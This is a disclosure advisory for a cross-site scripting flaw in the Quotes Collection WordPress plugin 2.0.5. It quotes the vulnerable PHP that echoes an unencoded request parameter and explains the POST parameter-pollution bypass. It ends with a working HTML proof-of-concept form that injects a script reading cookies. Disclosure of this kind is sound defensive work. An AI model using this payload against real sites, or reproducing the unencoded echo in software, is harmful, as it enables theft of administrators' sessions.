WordPress Quotes Collection 2.0.5 Cross Site Scripting
Posted on 08 November 2016
------------------------------------------------------------------------ Cross-Site Scripting vulnerability in Quotes Collection WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Quotes Collection WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0015 ------------------------------------------------------------------------ See also ------------------------------------------------------------------------ https://www.pluginvulnerabilities.com/2016/09/13/reflected-cross-site-scripting-xss-vulnerability-in-quotes-collection/ ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Quotes Collection WordPress Plugin version 2.0.5. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ There is currently no fix available. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_quotes_collection_wordpress_plugin.html The issue exists in the file class-quotes-collection-admin.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below. <form id="quotescollection" method="get"> <input type="hidden" name="page" value="<?php echo $_REQUEST['page']; ?>" /> <div class="list-header"> <?php echo $list_meta; ?> <?php $quotes_list_table->search_box( __('Search', 'quotes-collection'), 'quotescollection'); ?> </div> <?php $quotes_list_table->display(); ?> </form> Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=quotes-collection" method="POST"> <input type="hidden" name="page" value=""<script>alert(document.cookie);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.